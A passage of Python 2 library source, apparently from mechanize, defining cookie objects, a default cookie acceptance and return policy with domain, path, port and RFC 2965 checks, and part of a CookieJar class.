\"\"\"\n\n\n    _attrs = (\"version\", \"name\", \"value\",\n              \"port\", \"port_specified\",\n              \"domain\", \"domain_specified\", \"domain_initial_dot\",\n              \"path\", \"path_specified\",\n              \"secure\", \"expires\", \"discard\", \"comment\", \"comment_url\",\n              \"rfc2109\", \"_rest\")\n\n    def __init__(self, version, name, value,\n                 port, port_specified,\n                 domain, domain_specified, domain_initial_dot,\n                 path, path_specified,\n                 secure,\n                 expires,\n                 discard,\n                 comment,\n                 comment_url,\n                 rest,\n                 rfc2109=False,\n                 ):\n\n        if version is not None: version = int(version)\n        if expires is not None: expires = int(expires)\n        if port is None and port_specified is True:\n            raise ValueError(\"if port is None, port_specified must be false\")\n\n        self.version = version\n        self.name = name\n        self.value = value\n        self.port = port\n        self.port_specified = port_specified\n        # normalise case, as per RFC 2965 section 3.3.3\n        self.domain = domain.lower()\n        self.domain_specified = domain_specified\n        # Sigh.  We need to know whether the domain given in the\n        # cookie-attribute had an initial dot, in order to follow RFC 2965\n        # (as clarified in draft errata).  Needed for the returned $Domain\n        # value.\n        self.domain_initial_dot = domain_initial_dot\n        self.path = path\n        self.path_specified = path_specified\n        self.secure = secure\n        self.expires = expires\n        self.discard = discard\n        self.comment = comment\n        self.comment_url = comment_url\n        self.rfc2109 = rfc2109\n\n        self._rest = copy.copy(rest)\n\n    def has_nonstandard_attr(self, name):\n        return self._rest.has_key(name)\n    def get_nonstandard_attr(self, name, default=None):\n        return self._rest.get(name, default)\n    def set_nonstandard_attr(self, name, value):\n        self._rest[name] = value\n    def nonstandard_attr_keys(self):\n        return self._rest.keys()\n\n    def is_expired(self, now=None):\n        if now is None: now = time.time()\n        return (self.expires is not None) and (self.expires <= now)\n\n    def __eq__(self, other):\n        return all(getattr(self, a) == getattr(other, a) for a in self._attrs)\n\n    def __ne__(self, other):\n        return not (self == other)\n\n    def __str__(self):\n        if self.port is None: p = \"\"\n        else: p = \":\"+self.port\n        limit = self.domain + p + self.path\n        if self.value is not None:\n            namevalue = \"%s=%s\" % (self.name, self.value)\n        else:\n            namevalue = self.name\n        return \"<Cookie %s for %s>\" % (namevalue, limit)\n\n    def __repr__(self):\n        args = []\n        for name in [\"version\", \"name\", \"value\",\n                     \"port\", \"port_specified\",\n                     \"domain\", \"domain_specified\", \"domain_initial_dot\",\n                     \"path\", \"path_specified\",\n                     \"secure\", \"expires\", \"discard\", \"comment\", \"comment_url\",\n                     ]:\n            attr = getattr(self, name)\n            args.append(\"%s=%s\" % (name, repr(attr)))\n        args.append(\"rest=%s\" % repr(self._rest))\n        args.append(\"rfc2109=%s\" % repr(self.rfc2109))\n        return \"Cookie(%s)\" % \", \".join(args)\n\n\nclass CookiePolicy:\n    \"\"\"Defines which cookies get accepted from and returned to server.\n\n    May also modify cookies.\n\n    The subclass DefaultCookiePolicy defines the standard rules for Netscape\n    and RFC 2965 cookies -- override that if you want a customised policy.\n\n    As well as implementing set_ok and return_ok, implementations of this\n    interface must also supply the following attributes, indicating which\n    protocols should be used, and how.  These can be read and set at any time,\n    though whether that makes complete sense from the protocol point of view is\n    doubtful.\n\n    Public attributes:\n\n    netscape: implement netscape protocol\n    rfc2965: implement RFC 2965 protocol\n    rfc2109_as_netscape:\n       WARNING: This argument will change or go away if is not accepted into\n                the Python standard library in this form!\n     If true, treat RFC 2109 cookies as though they were Netscape cookies.  The\n     default is for this attribute to be None, which means treat 2109 cookies\n     as RFC 2965 cookies unless RFC 2965 handling is switched off (which it is,\n     by default), and as Netscape cookies otherwise.\n    hide_cookie2: don't add Cookie2 header to requests (the presence of\n     this header indicates to the server that we understand RFC 2965\n     cookies)\n\n    \"\"\"\n    def set_ok(self, cookie, request):\n        \"\"\"Return true if (and only if) cookie should be accepted from server.\n\n        Currently, pre-expired cookies never get this far -- the CookieJar\n        class deletes such cookies itself.\n\n        cookie: mechanize.Cookie object\n        request: object implementing the interface defined by\n         CookieJar.extract_cookies.__doc__\n\n        \"\"\"\n        raise NotImplementedError()\n\n    def return_ok(self, cookie, request):\n        \"\"\"Return true if (and only if) cookie should be returned to server.\n\n        cookie: mechanize.Cookie object\n        request: object implementing the interface defined by\n         CookieJar.add_cookie_header.__doc__\n\n        \"\"\"\n        raise NotImplementedError()\n\n    def domain_return_ok(self, domain, request):\n        \"\"\"Return false if cookies should not be returned, given cookie domain.\n\n        This is here as an optimization, to remove the need for checking every\n        cookie with a particular domain (which may involve reading many files).\n        The default implementations of domain_return_ok and path_return_ok\n        (return True) leave all the work to return_ok.\n\n        If domain_return_ok returns true for the cookie domain, path_return_ok\n        is called for the cookie path.  Otherwise, path_return_ok and return_ok\n        are never called for that cookie domain.  If path_return_ok returns\n        true, return_ok is called with the Cookie object itself for a full\n        check.  Otherwise, return_ok is never called for that cookie path.\n\n        Note that domain_return_ok is called for every *cookie* domain, not\n        just for the *request* domain.  For example, the function might be\n        called with both \".acme.com\" and \"www.acme.com\" if the request domain\n        is \"www.acme.com\".  The same goes for path_return_ok.\n\n        For argument documentation, see the docstring for return_ok.\n\n        \"\"\"\n        return True\n\n    def path_return_ok(self, path, request):\n        \"\"\"Return false if cookies should not be returned, given cookie path.\n\n        See the docstring for domain_return_ok.\n\n        \"\"\"\n        return True\n\n\nclass DefaultCookiePolicy(CookiePolicy):\n    \"\"\"Implements the standard rules for accepting and returning cookies.\n\n    Both RFC 2965 and Netscape cookies are covered.  RFC 2965 handling is\n    switched off by default.\n\n    The easiest way to provide your own policy is to override this class and\n    call its methods in your overriden implementations before adding your own\n    additional checks.\n\n    import mechanize\n    class MyCookiePolicy(mechanize.DefaultCookiePolicy):\n        def set_ok(self, cookie, request):\n            if not mechanize.DefaultCookiePolicy.set_ok(\n                self, cookie, request):\n                return False\n            if i_dont_want_to_store_this_cookie():\n                return False\n            return True\n\n    In addition to the features required to implement the CookiePolicy\n    interface, this class allows you to block and allow domains from setting\n    and receiving cookies.  There are also some strictness switches that allow\n    you to tighten up the rather loose Netscape protocol rules a little bit (at\n    the cost of blocking some benign cookies).\n\n    A domain blacklist and whitelist is provided (both off by default).  Only\n    domains not in the blacklist and present in the whitelist (if the whitelist\n    is active) participate in cookie setting and returning.  Use the\n    blocked_domains constructor argument, and blocked_domains and\n    set_blocked_domains methods (and the corresponding argument and methods for\n    allowed_domains).  If you set a whitelist, you can turn it off again by\n    setting it to None.\n\n    Domains in block or allow lists that do not start with a dot must\n    string-compare equal.  For example, \"acme.com\" matches a blacklist entry of\n    \"acme.com\", but \"www.acme.com\" does not.  Domains that do start with a dot\n    are matched by more specific domains too.  For example, both \"www.acme.com\"\n    and \"www.munitions.acme.com\" match \".acme.com\" (but \"acme.com\" itself does\n    not).  IP addresses are an exception, and must match exactly.  For example,\n    if blocked_domains contains \"192.168.1.2\" and \".168.1.2\" 192.168.1.2 is\n    blocked, but 193.168.1.2 is not.\n\n    Additional Public Attributes:\n\n    General strictness switches\n\n    strict_domain: don't allow sites to set two-component domains with\n     country-code top-level domains like .co.uk, .gov.uk, .co.nz. etc.\n     This is far from perfect and isn't guaranteed to work!\n\n    RFC 2965 protocol strictness switches\n\n    strict_rfc2965_unverifiable: follow RFC 2965 rules on unverifiable\n     transactions (usually, an unverifiable transaction is one resulting from\n     a redirect or an image hosted on another site); if this is false, cookies\n     are NEVER blocked on the basis of verifiability\n\n    Netscape protocol strictness switches\n\n    strict_ns_unverifiable: apply RFC 2965 rules on unverifiable transactions\n     even to Netscape cookies\n    strict_ns_domain: flags indicating how strict to be with domain-matching\n     rules for Netscape cookies:\n      DomainStrictNoDots: when setting cookies, host prefix must not contain a\n       dot (e.g. www.foo.bar.com can't set a cookie for .bar.com, because\n       www.foo contains a dot)\n      DomainStrictNonDomain: cookies that did not explicitly specify a Domain\n       cookie-attribute can only be returned to a domain that string-compares\n       equal to the domain that set the cookie (e.g. rockets.acme.com won't\n       be returned cookies from acme.com that had no Domain cookie-attribute)\n      DomainRFC2965Match: when setting cookies, require a full RFC 2965\n       domain-match\n      DomainLiberal and DomainStrict are the most useful combinations of the\n       above flags, for convenience\n    strict_ns_set_initial_dollar: ignore cookies in Set-Cookie: headers that\n     have names starting with '$'\n    strict_ns_set_path: don't allow setting cookies whose path doesn't\n     path-match request URI\n\n    \"\"\"\n\n    DomainStrictNoDots = 1\n    DomainStrictNonDomain = 2\n    DomainRFC2965Match = 4\n\n    DomainLiberal = 0\n    DomainStrict = DomainStrictNoDots|DomainStrictNonDomain\n\n    def __init__(self,\n                 blocked_domains=None, allowed_domains=None,\n                 netscape=True, rfc2965=False,\n                 # WARNING: this argument will change or go away if is not\n                 # accepted into the Python standard library in this form!\n                 # default, ie. treat 2109 as netscape iff not rfc2965\n                 rfc2109_as_netscape=None,\n                 hide_cookie2=False,\n                 strict_domain=False,\n                 strict_rfc2965_unverifiable=True,\n                 strict_ns_unverifiable=False,\n                 strict_ns_domain=DomainLiberal,\n                 strict_ns_set_initial_dollar=False,\n                 strict_ns_set_path=False,\n                 ):\n        \"\"\"\n        Constructor arguments should be used as keyword arguments only.\n\n        blocked_domains: sequence of domain names that we never accept cookies\n         from, nor return cookies to\n        allowed_domains: if not None, this is a sequence of the only domains\n         for which we accept and return cookies\n\n        For other arguments, see CookiePolicy.__doc__ and\n        DefaultCookiePolicy.__doc__..\n\n        \"\"\"\n        self.netscape = netscape\n        self.rfc2965 = rfc2965\n        self.rfc2109_as_netscape = rfc2109_as_netscape\n        self.hide_cookie2 = hide_cookie2\n        self.strict_domain = strict_domain\n        self.strict_rfc2965_unverifiable = strict_rfc2965_unverifiable\n        self.strict_ns_unverifiable = strict_ns_unverifiable\n        self.strict_ns_domain = strict_ns_domain\n        self.strict_ns_set_initial_dollar = strict_ns_set_initial_dollar\n        self.strict_ns_set_path = strict_ns_set_path\n\n        if blocked_domains is not None:\n            self._blocked_domains = tuple(blocked_domains)\n        else:\n            self._blocked_domains = ()\n\n        if allowed_domains is not None:\n            allowed_domains = tuple(allowed_domains)\n        self._allowed_domains = allowed_domains\n\n    def blocked_domains(self):\n        \"\"\"Return the sequence of blocked domains (as a tuple).\"\"\"\n        return self._blocked_domains\n    def set_blocked_domains(self, blocked_domains):\n        \"\"\"Set the sequence of blocked domains.\"\"\"\n        self._blocked_domains = tuple(blocked_domains)\n\n    def is_blocked(self, domain):\n        for blocked_domain in self._blocked_domains:\n            if user_domain_match(domain, blocked_domain):\n                return True\n        return False\n\n    def allowed_domains(self):\n        \"\"\"Return None, or the sequence of allowed domains (as a tuple).\"\"\"\n        return self._allowed_domains\n    def set_allowed_domains(self, allowed_domains):\n        \"\"\"Set the sequence of allowed domains, or None.\"\"\"\n        if allowed_domains is not None:\n            allowed_domains = tuple(allowed_domains)\n        self._allowed_domains = allowed_domains\n\n    def is_not_allowed(self, domain):\n        if self._allowed_domains is None:\n            return False\n        for allowed_domain in self._allowed_domains:\n            if user_domain_match(domain, allowed_domain):\n                return False\n        return True\n\n    def set_ok(self, cookie, request):\n        \"\"\"\n        If you override set_ok, be sure to call this method.  If it returns\n        false, so should your subclass (assuming your subclass wants to be more\n        strict about which cookies to accept).\n\n        \"\"\"\n        debug(\" - checking cookie %s\", cookie)\n\n        assert cookie.name is not None\n\n        for n in \"version\", \"verifiability\", \"name\", \"path\", \"domain\", \"port\":\n            fn_name = \"set_ok_\"+n\n            fn = getattr(self, fn_name)\n            if not fn(cookie, request):\n                return False\n\n        return True\n\n    def set_ok_version(self, cookie, request):\n        if cookie.version is None:\n            # Version is always set to 0 by parse_ns_headers if it's a Netscape\n            # cookie, so this must be an invalid RFC 2965 cookie.\n            debug(\"   Set-Cookie2 without version attribute (%s)\", cookie)\n            return False\n        if cookie.version > 0 and not self.rfc2965:\n            debug(\"   RFC 2965 cookies are switched off\")\n            return False\n        elif cookie.version == 0 and not self.netscape:\n            debug(\"   Netscape cookies are switched off\")\n            return False\n        return True\n\n    def set_ok_verifiability(self, cookie, request):\n        if request_is_unverifiable(request) and is_third_party(request):\n            if cookie.version > 0 and self.strict_rfc2965_unverifiable:\n                debug(\"   third-party RFC 2965 cookie during \"\n                             \"unverifiable transaction\")\n                return False\n            elif cookie.version == 0 and self.strict_ns_unverifiable:\n                debug(\"   third-party Netscape cookie during \"\n                             \"unverifiable transaction\")\n                return False\n        return True\n\n    def set_ok_name(self, cookie, request):\n        # Try and stop servers setting V0 cookies designed to hack other\n        # servers that know both V0 and V1 protocols.\n        if (cookie.version == 0 and self.strict_ns_set_initial_dollar and\n            cookie.name.startswith(\"$\")):\n            debug(\"   illegal name (starts with '$'): '%s'\", cookie.name)\n            return False\n        return True\n\n    def set_ok_path(self, cookie, request):\n        if cookie.path_specified:\n            req_path = request_path(request)\n            if ((cookie.version > 0 or\n                 (cookie.version == 0 and self.strict_ns_set_path)) and\n                not req_path.startswith(cookie.path)):\n                debug(\"   path attribute %s is not a prefix of request \"\n                      \"path %s\", cookie.path, req_path)\n                return False\n        return True\n\n    def set_ok_countrycode_domain(self, cookie, request):\n        \"\"\"Return False if explicit cookie domain is not acceptable.\n\n        Called by set_ok_domain, for convenience of overriding by\n        subclasses.\n\n        \"\"\"\n        if cookie.domain_specified and self.strict_domain:\n            domain = cookie.domain\n            # since domain was specified, we know that:\n            assert domain.startswith(\".\")\n            if domain.count(\".\") == 2:\n                # domain like .foo.bar\n                i = domain.rfind(\".\")\n                tld = domain[i+1:]\n                sld = domain[1:i]\n                if (sld.lower() in [\n                    \"co\", \"ac\",\n                    \"com\", \"edu\", \"org\", \"net\", \"gov\", \"mil\", \"int\",\n                    \"aero\", \"biz\", \"cat\", \"coop\", \"info\", \"jobs\", \"mobi\",\n                    \"museum\", \"name\", \"pro\", \"travel\",\n                    ] and\n                    len(tld) == 2):\n                    # domain like .co.uk\n                    return False\n        return True\n\n    def set_ok_domain(self, cookie, request):\n        if self.is_blocked(cookie.domain):\n            debug(\"   domain %s is in user block-list\", cookie.domain)\n            return False\n        if self.is_not_allowed(cookie.domain):\n            debug(\"   domain %s is not in user allow-list\", cookie.domain)\n            return False\n        if not self.set_ok_countrycode_domain(cookie, request):\n            debug(\"   country-code second level domain %s\", cookie.domain)\n            return False\n        if cookie.domain_specified:\n            req_host, erhn = eff_request_host_lc(request)\n            domain = cookie.domain\n            if domain.startswith(\".\"):\n                undotted_domain = domain[1:]\n            else:\n                undotted_domain = domain\n            embedded_dots = (undotted_domain.find(\".\") >= 0)\n            if not embedded_dots and domain != \".local\":\n                debug(\"   non-local domain %s contains no embedded dot\",\n                      domain)\n                return False\n            if cookie.version == 0:\n                if (not erhn.endswith(domain) and\n                    (not erhn.startswith(\".\") and\n                     not (\".\"+erhn).endswith(domain))):\n                    debug(\"   effective request-host %s (even with added \"\n                          \"initial dot) does not end end with %s\",\n                          erhn, domain)\n                    return False\n            if (cookie.version > 0 or\n                (self.strict_ns_domain & self.DomainRFC2965Match)):\n                if not domain_match(erhn, domain):\n                    debug(\"   effective request-host %s does not domain-match \"\n                          \"%s\", erhn, domain)\n                    return False\n            if (cookie.version > 0 or\n                (self.strict_ns_domain & self.DomainStrictNoDots)):\n                host_prefix = req_host[:-len(domain)]\n                if (host_prefix.find(\".\") >= 0 and\n                    not IPV4_RE.search(req_host)):\n                    debug(\"   host prefix %s for domain %s contains a dot\",\n                          host_prefix, domain)\n                    return False\n        return True\n\n    def set_ok_port(self, cookie, request):\n        if cookie.port_specified:\n            req_port = request_port(request)\n            if req_port is None:\n                req_port = \"80\"\n            else:\n                req_port = str(req_port)\n            for p in cookie.port.split(\",\"):\n                try:\n                    int(p)\n                except ValueError:\n                    debug(\"   bad port %s (not numeric)\", p)\n                    return False\n                if p == req_port:\n                    break\n            else:\n                debug(\"   request port (%s) not found in %s\",\n                      req_port, cookie.port)\n                return False\n        return True\n\n    def return_ok(self, cookie, request):\n        \"\"\"\n        If you override return_ok, be sure to call this method.  If it returns\n        false, so should your subclass (assuming your subclass wants to be more\n        strict about which cookies to return).\n\n        \"\"\"\n        # Path has already been checked by path_return_ok, and domain blocking\n        # done by domain_return_ok.\n        debug(\" - checking cookie %s\", cookie)\n\n        for n in (\"version\", \"verifiability\", \"secure\", \"expires\", \"port\",\n                  \"domain\"):\n            fn_name = \"return_ok_\"+n\n            fn = getattr(self, fn_name)\n            if not fn(cookie, request):\n                return False\n        return True\n\n    def return_ok_version(self, cookie, request):\n        if cookie.version > 0 and not self.rfc2965:\n            debug(\"   RFC 2965 cookies are switched off\")\n            return False\n        elif cookie.version == 0 and not self.netscape:\n            debug(\"   Netscape cookies are switched off\")\n            return False\n        return True\n\n    def return_ok_verifiability(self, cookie, request):\n        if request_is_unverifiable(request) and is_third_party(request):\n            if cookie.version > 0 and self.strict_rfc2965_unverifiable:\n                debug(\"   third-party RFC 2965 cookie during unverifiable \"\n                      \"transaction\")\n                return False\n            elif cookie.version == 0 and self.strict_ns_unverifiable:\n                debug(\"   third-party Netscape cookie during unverifiable \"\n                      \"transaction\")\n                return False\n        return True\n\n    def return_ok_secure(self, cookie, request):\n        if cookie.secure and request.get_type() != \"https\":\n            debug(\"   secure cookie with non-secure request\")\n            return False\n        return True\n\n    def return_ok_expires(self, cookie, request):\n        if cookie.is_expired(self._now):\n            debug(\"   cookie expired\")\n            return False\n        return True\n\n    def return_ok_port(self, cookie, request):\n        if cookie.port:\n            req_port = request_port(request)\n            if req_port is None:\n                req_port = \"80\"\n            for p in cookie.port.split(\",\"):\n                if p == req_port:\n                    break\n            else:\n                debug(\"   request port %s does not match cookie port %s\",\n                      req_port, cookie.port)\n                return False\n        return True\n\n    def return_ok_domain(self, cookie, request):\n        req_host, erhn = eff_request_host_lc(request)\n        domain = cookie.domain\n\n        # strict check of non-domain cookies: Mozilla does this, MSIE5 doesn't\n        if (cookie.version == 0 and\n            (self.strict_ns_domain & self.DomainStrictNonDomain) and\n            not cookie.domain_specified and domain != erhn):\n            debug(\"   cookie with unspecified domain does not string-compare \"\n                  \"equal to request domain\")\n            return False\n\n        if cookie.version > 0 and not domain_match(erhn, domain):\n            debug(\"   effective request-host name %s does not domain-match \"\n                  \"RFC 2965 cookie domain %s\", erhn, domain)\n            return False\n        if cookie.version == 0 and not (\".\"+erhn).endswith(domain):\n            debug(\"   request-host %s does not match Netscape cookie domain \"\n                  \"%s\", req_host, domain)\n            return False\n        return True\n\n    def domain_return_ok(self, domain, request):\n        # Liberal check of domain.  This is here as an optimization to avoid\n        # having to load lots of MSIE cookie files unless necessary.\n\n        # Munge req_host and erhn to always start with a dot, so as to err on\n        # the side of letting cookies through.\n        dotted_req_host, dotted_erhn = eff_request_host_lc(request)\n        if not dotted_req_host.startswith(\".\"):\n            dotted_req_host = \".\"+dotted_req_host\n        if not dotted_erhn.startswith(\".\"):\n            dotted_erhn = \".\"+dotted_erhn\n        if not (dotted_req_host.endswith(domain) or\n                dotted_erhn.endswith(domain)):\n            #debug(\"   request domain %s does not match cookie domain %s\",\n            #      req_host, domain)\n            return False\n\n        if self.is_blocked(domain):\n            debug(\"   domain %s is in user block-list\", domain)\n            return False\n        if self.is_not_allowed(domain):\n            debug(\"   domain %s is not in user allow-list\", domain)\n            return False\n\n        return True\n\n    def path_return_ok(self, path, request):\n        debug(\"- checking cookie path=%s\", path)\n        req_path = request_path(request)\n        if not req_path.startswith(path):\n            debug(\"  %s does not path-match %s\", req_path, path)\n            return False\n        return True\n\n\ndef vals_sorted_by_key(adict):\n    keys = adict.keys()\n    keys.sort()\n    return map(adict.get, keys)\n\nclass MappingIterator:\n    \"\"\"Iterates over nested mapping, depth-first, in sorted order by key.\"\"\"\n    def __init__(self, mapping):\n        self._s = [(vals_sorted_by_key(mapping), 0, None)]  # LIFO stack\n\n    def __iter__(self): return self\n\n    def next(self):\n        # this is hairy because of lack of generators\n        while 1:\n            try:\n                vals, i, prev_item = self._s.pop()\n            except IndexError:\n                raise StopIteration()\n            if i < len(vals):\n                item = vals[i]\n                i = i + 1\n                self._s.append((vals, i, prev_item))\n                try:\n                    item.items\n                except AttributeError:\n                    # non-mapping\n                    break\n                else:\n                    # mapping\n                    self._s.append((vals_sorted_by_key(item), 0, item))\n                    continue\n        return item\n\n\n# Used as second parameter to dict.get method, to distinguish absent\n# dict key from one with a None value.\nclass Absent: pass\n\nclass CookieJar:\n    \"\"\"Collection of HTTP cookies.\n\n    You may not need to know about this class: try mechanize.urlopen().\n\n    The major methods are extract_cookies and add_cookie_header; these are all\n    you are likely to need.\n\n    CookieJar supports the iterator protocol:\n\n    for cookie in cookiejar:\n        # do something with cookie\n\n    Methods:\n\n    add_cookie_header(request)\n    extract_cookies(response, request)\n    get_policy()\n    set_policy(policy)\n    cookies_for_request(request)\n    make_cookies(response, request)\n    set_cookie_if_ok(cookie, request)\n    set_cookie(cookie)\n    clear_session_cookies()\n    clear_expired_cookies()\n    clear(domain=None, path=None, name=None)\n\n    Public attributes\n\n    policy: CookiePolicy object\n\n    \"\"\"\n\n    non_word_re = re.compile(r\"\\W\")\n    quote_re = re.compile(r\"([\\\"\\\\])\")\n    strict_domain_re = re.compile(r\"\\.?[^.]*\")\n    domain_re = re.compile(r\"[^.]*\")\n    dots_re = re.compile(r\"^\\.+\")\n\n    def __init__(self, policy=None):\n        \"\"\"\n        See CookieJar.__doc__ for argument documentation.\n\n        \"\"\"\n        if policy is None:\n            policy = DefaultCookiePolicy()\n        self._policy = policy\n\n        self._cookies = {}\n\n        # for __getitem__ iteration in pre-2.2 Pythons\n        self._prev_getitem_index = 0\n\n    def get_policy(self):\n        return self._policy\n\n    def set_policy(self, policy):\n        self._policy = policy\n\n    def _cookies_for_domain(self, domain, request):\n        cookies = []\n        if not self._policy.domain_return_ok(domain, request):\n            return []\n        debug(\"Checking %s for cookies to return\", domain)\n        cookies_by_path = self._cookies[domain]\n        for path in cookies_by_path.keys():\n            if not self._policy.path_return_ok(path, request):\n                continue\n            cookies_by_name = cookies_by_path[path]\n            for cookie in cookies_by_name.values():\n                if not self._policy.return_ok(cookie, request):\n                    debug(\"   not returning cookie\")\n                    continue\n                debug(\"   it's a match\")\n                cookies.append(cookie)\n        return cookies\n\n    def cookies_for_request(self, request):\n        \"\"\"Return a list of cookies to be returned to server.\n\n        The returned list of cookie instances is sorted in the order they\n        should appear in the Cookie: header for return to the server.\n\n        See add_cookie_header.__doc__ for the interface required of the\n        request argument.\n\n        New in version 0.1.10\n\n        \"\"\"\n        self._policy._now = self._now = int(time.time())\n        cookies = self._cookies_for_request(request)\n        # add cookies in order of most specific (i.e. longest) path first\n        def decreasing_size(a, b): return cmp(len(b.path), len(a.path))\n        cookies.sort(decreasing_size)\n        return cookies\n\n    def _cookies_for_request(self, request):\n        \"\"\"Return a list of cookies to be returned to server.\"\"\"\n        # this method still exists (alongside cookies_for_request) because it\n        # is part of an implied protected interface for subclasses of cookiejar\n        # XXX document that implied interface, or provide another way of\n        # implementing cookiejars than subclassing\n        cookies = []\n        for domain in self._cookies.keys():\n            cookies.extend(self._cookies_for_domain(domain, request))\n        return cookies\n\n    def _cookie_attrs(self, cookies):\n        \"\"\"Return a list of cookie-attributes to be returned to server.\n\n        The $Version attribute is also added when appropriate (currently only\n        once per request).\n\n        >>> jar = CookieJar()\n        >>> ns_cookie = Cookie(0, \"foo\", '\"bar\"', None, False,\n        ...                   \"example.com\", False, False,\n        ...                   \"/\", False, False, None, True,\n        ...                   None, None, {})\n        >>> jar._cookie_attrs([ns_cookie])\n        ['foo=\"bar\"']\n        >>> rfc2965_cookie = Cookie(1, \"foo\", \"bar\", None, False,\n        ...                         \".example.com\", True, False,\n        ...                         \"/\", False, False, None, True,\n        ...                         None, None, {})\n        >>> jar._cookie_attrs([rfc2965_cookie])\n        ['$Version=1', 'foo=bar', '$Domain=\"example.com\"']\n\n        \"\"\"\n        version_set = False\n\n        attrs = []\n        for cookie in cookies:\n            # set version of Cookie header\n            # XXX\n            # What should it be if multiple matching Set-Cookie headers have\n            #  different versions themselves?\n            # Answer: there is no answer; was supposed to be settled by\n            #  RFC 2965 errata, but that may never appear...\n            version = cookie.version\n            if not version_set:\n                version_set = True\n                if version > 0:\n                    attrs.append(\"$Version=%s\" % version)\n\n            # quote cookie value if necessary\n            # (not for Netscape protocol, which already has any quotes\n            #  intact, due to the poorly-specified Netscape Cookie: syntax)\n            if ((cookie.value is not None) and\n                self.non_word_re.search(cookie.value) and version > 0):\n                value = self.quote_re.sub(r\"\\\\\\1\", cookie.value)\n            else:\n                value = cookie.value\n\n            # add cookie-attributes to be returned in Cookie header\n            if cookie.value is None:\n                attrs.append(cookie.name)\n            else:\n                attrs.append(\"%s=%s\" % (cookie.name, value))\n            if version > 0:\n                if cookie.path_specified:\n                    attrs.append('$Path=\"%s\"' % cookie.path)\n                if cookie.domain.startswith(\".\"):\n                    domain = cookie.domain\n                    if (not cookie.domain_initial_dot and\n                        domain.startswith(\".\")):\n                        domain = domain[1:]\n                    attrs.append('$Domain=\"%s\"' % domain)\n                if cookie.port is not None:\n                    p = \"$Port\"\n                    if cookie.port_specified:\n                        p = p + ('=\"%s\"' % cookie.port)\n                    attrs.append(p)\n\n        return attrs\n\n    def add_cookie_header(self, request):\n        \"\"\"Add correct Cookie: header to request (mechanize.Request object).\n\n        The Cookie2 header is also added unless policy.hide_cookie2 is true.\n\n        The request object (usually a mechanize.Request instance) must support\n        the methods get_full_url, get_host, is_unverifiable, get_type,\n        has_header, get_header, header_items and add_unredirected_header, as\n        documented by urllib2.\n        \"\"\"\n        debug(\"add_cookie_header\")\n        cookies = self.cookies_for_request(request)\n\n        attrs = self._cookie_attrs(cookies)\n        if attrs:\n            if not request.has_header(\"Cookie\"):\n                request.add_unredirected_header(\"Cookie\", \"; \".join(attrs))\n\n        # if necessary, advertise that we know RFC 2965\n        if self._policy.rfc2965 and not self._policy.hide_cookie2:\n            for cookie in cookies:\n                if cookie.version != 1 and not request.has_header(\"Cookie2\"):\n                    request.add_unredirected_header(\"Cookie2\", '$Version=\"1\"')\n                    break\n\n        self.clear_expired_cookies()\n\n    def _normalized_cookie_tuples(self, attrs_set):\n        \"\"\"Return list of tuples containing normalised cookie information.\n\n        attrs_set is the list of lists of key,value pairs extracted from\n        the Set-Cookie or Set-Cookie2 headers.\n\n        Tuples are name, value, standard, rest, where name and value are the\n        cookie name and value, standard is a dictionary containing the standard\n        cookie-attributes (discard, secure, version, expires or max-age,\n        domain, path and port) and rest is a dictionary containing the rest of\n        the cookie-attributes.\n\n        \"\"\"\n        cookie_tuples = []\n\n        boolean_attrs = \"discard\", \"secure\"\n        value_attrs = (\"version\",\n                       \"expires\", \"max-age\",\n                       \"domain\", \"path\", \"port\",\n                       \"comment\", \"commenturl\")\n\n        for cookie_attrs in attrs_set:\n            name, value = cookie_attrs[0]\n\n            # Build dictionary of standard cookie-attributes (standard) and\n            # dictionary of other cookie-attributes (rest).\n\n            # Note: expiry time is normalised to seconds since epoch.  V0\n            # cookies should have the Expires cookie-attribute, and V1 cookies\n            # should have Max-Age, but since V1 includes RFC 2109 cookies (and\n            # since V0 cookies may be a mish-mash of Netscape and RFC 2109), we\n            # accept either (but prefer Max-Age).\n            max_age_set = False\n\n            bad_cookie = False\n\n            standard = {}\n            rest = {}\n            for k, v in cookie_attrs[1:]:\n                lc = k.lower()\n                # don't lose case distinction for unknown fields\n                if lc in value_attrs or lc in boolean_attrs:\n                    k = lc\n                if k in boolean_attrs and v is None:\n                    # boolean cookie-attribute is present, but has no value\n                    # (like \"discard\", rather than \"port=80\")\n                    v = True\n                if standard.has_key(k):\n                    # only first value is significant\n                    continue\n                if k == \"domain\":\n                    if v is None:\n                        debug(\"   missing value for domain attribute\")\n                        bad_cookie = True\n                        break\n                    # RFC 2965 section 3.3.3\n                    v = v.lower()\n                if k == \"expires\":\n                    if max_age_set:\n                        # Prefer max-age to expires (like Mozilla)\n                        continue\n                    if v is None:\n                        debug(\"   missing or invalid value for expires \"\n                              \"attribute: treating as session cookie\")\n                        continue\n                if k == \"max-age\":\n                    max_age_set = True\n                    if v is None:\n                        debug(\"   missing value for max-age attribute\")\n                        bad_cookie = True\n                        break\n                    try:\n                        v = int(v)\n                    except ValueError:\n                        debug(\"   missing or invalid (non-numeric) value for \"\n                              \"max-age attribute\")\n                        bad_cookie = True\n                        break\n                    # convert RFC 2965 Max-Age to seconds since epoch\n                    # XXX Strictly you're supposed to follow RFC 2616\n                    #   age-calculation rules.  Remember that zero Max-Age is a\n                    #   is a request to discard (old and new) cookie, though.\n                    k = \"expires\"\n                    v = self._now + v\n                if (k in value_attrs) or (k in boolean_attrs):\n                    if (v is None and\n                        k not in [\"port\", \"comment\", \"commenturl\"]):\n                        debug(\"   missing value for %s attribute\" % k)\n                        bad_cookie = True\n                        break\n                    standard[k] = v\n                else:\n                    rest[k] = v\n\n            if bad_cookie:\n                continue\n\n            cookie_tuples.append((name, value, standard, rest))\n\n        return cookie_tuples\n\n    def _cookie_from_cookie_tuple(self, tup, request):\n        # standard is dict of standard cookie-attributes, rest is dict of the\n        # rest of them\n        name, value, standard, rest = tup\n\n        domain = standard.get(\"domain\", Absent)\n        path = standard.get(\"path\", Absent)\n        port = standard.get(\"port\", Absent)\n        expires = standard.get(\"expires\", Absent)\n\n        # set the easy defaults\n        version = standard.get(\"version\", None)\n        if version is not None:\n            try:\n                version = int(version)\n            except ValueError:\n                return None  # invalid version, ignore cookie\n        secure = standard.get(\"secure\", False)\n        # (discard is also set if expires is Absent)\n        discard = standard.get(\"discard\", False)\n        comment = standard.get(\"comment\", None)\n        comment_url = standard.get(\"commenturl\", None)\n\n        # set default path\n        if path is not Absent and path != \"\":\n            path_specified = True\n            path = escape_path(path)\n        else:\n            path_specified = False\n            path = request_path(request)\n            i = path.rfind(\"/\")\n            if i != -1:\n                if version == 0:\n                    # Netscape spec parts company from reality here\n                    path = path[:i]\n                else:\n                    path = 